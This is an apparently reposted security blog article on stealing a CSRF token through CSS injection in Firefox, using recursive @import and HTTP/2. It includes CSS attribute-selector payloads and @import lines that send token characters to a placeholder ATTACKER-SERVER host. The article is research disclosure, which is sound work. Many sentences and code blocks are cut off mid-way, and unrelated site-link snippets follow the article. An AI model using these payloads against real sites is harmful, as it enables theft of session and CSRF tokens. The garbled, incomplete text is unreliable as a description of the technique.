0x00 Introduction A few months ago, I found a vulnerability in Firefox (CVE-2019-17016). During my research, I discovered a data stealing technique using CSS in Firefox that can steal data through a single injection point, and I would like to share my research findings with you. 0x01 Background For demonstration purposes, let's assume we want to steal the CSRF token from an <input type="hidden" name="csrftoken" value="SOME_VALUE"> We can't use scripts (probably because of CSP), so we're looking for style-based injection. The traditional approach is to use attribute selectors, like this: input[name='csrftoken'][value^='a'] { background: url(//ATTACKER-SERVER/leak/a); } input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ... input[name='csrftoken'][value^='z'] { background: url(//ATTACKER-SERVER/leak/z); } If the CSS rule is applied, then the attacker can receive the HTTP request and get the first character of the token. The attacker then needs to prepare another style sheet that contains the stolen first character, as shown below: input[name='csrftoken'][value^='aa'] { background: url(//ATTACKER-SERVER/leak/aa); } input[name='csrftoken'][value^='ab'] { background: url(//ATTACKER-SERVER/leak/ab); } ... input[name='csrftoken'][value^='az'] { background: url(//ATTACKER-SERVER/leak/az); } Typically, an attacker would need to reload the page already loaded in In 2018, Pepe Vila came up with a very cool idea to abuse CSS recursive imports in Chrome to accomplish the same task with a single injection point. In 2019, Nathanial Lattimer (@d0nutptr) re-proposed the same technique with a slight twist. Below I will briefly summarize Lattimer's method, which is close to the idea of this article (but I was not aware of Lattimer's previous work during this research, so some people may think that I am reinventing the wheel). In short, the first injection uses a bunch of @import url(//ATTACKER-SERVER/polling?len=0); @import url(//ATTACKER-SERVER/polling?len=1); @import url(//ATTACKER-SERVER/polling?len=2); ... The core idea is as follows: 1. At the beginning, only the first 2. The first 3. When the first leaked token reaches 4. When the second leaked character reaches This technique works because Chrome processes 0x02 Firefox and style sheet processing The method mentioned above does not work in Firefox, which handles style sheets very differently than Chrome. Here I will use a few cases to illustrate the difference. First, Firefox processes style sheets synchronously. Therefore, when there are multiple <style> @import '/polling/0'; @import '/polling/1'; @import '/polling/2'; </style> Suppose the first We can fix this by putting all of <style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> In the above code, Firefox will process all style sheets separately, so the page will turn blue immediately, and other But here's another problem, suppose we want to steal a token that contains 10 characters: <style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> ... <style>@import '/polling/10';</style> Firefox will immediately queue up 10 0x03 HTTP/2 The limit of 6 connections is determined by the TCP layer, so only 6 TCP connections can exist simultaneously to a single server. In this case, I think HTTP/2 might come in handy. HTTP/2 has many advantages. For example, we can send multiple HTTP requests through a single connection (also known as multiplexing), which greatly improves performance. Firefox also limits the number of concurrent requests for a single HTTP/2 connection, but the limit is 0x04 Exploitation Now everything is ready, our main exploit scenarios are as follows: 1. The exploit code is based on HTTP/2. 2. The 3. Leak the entire token via 4. In order to force Firefox to initiate two TCP connections to the same server, two endpoints are used here, namely 5. The endpoint I created a test platform with the goal of stealing In addition, I have also hosted the PoC code on GitHub, and the attack process can be seen in the video here. Interestingly, since we are using HTTP/2, the attack is very fast and the entire token can be obtained in less than 3 seconds. 0x05 Summary In this article, I demonstrated how to exploit an injection point to steal data via CSS without reloading the page. There are two main points involved here: 1. Split the 2. In order to bypass the TCP concurrent connection limit, we need to launch the attack through HTTP/2. The above is what I introduced to you about using CSS to steal data in Firefox browser. I hope it will be helpful to you. Thank you very much for your support of the 123WORDPRESS.COM website! |
<<: Docker installs ClickHouse and initializes data testing
Table of contents Preface ErrorBoundary Beyond Er...
The final effect is as follows: The animation is ...
It can be referenced through CDN (Content Delivery...
Method 1: var a = [1,2,3]; var b=[4,5] a = a.conc...
Table of contents Preface 1. Set the prototype on...
Preface During development, we often encounter va...
Some optimization rules for browser web pages Pag...
Table of contents 1. Relationship between parent ...
As shown in the following figure: If the version ...
Preface Some people have asked me some MySQL note...
First, before posting! Thanks again to I Want to S...
The domestic market still has a certain demand fo...
What is ZooKeeper ZooKeeper is a top-level projec...
Table of contents 1. beforeCreate and created fun...
1. MacVlan There are many solutions to achieve cr...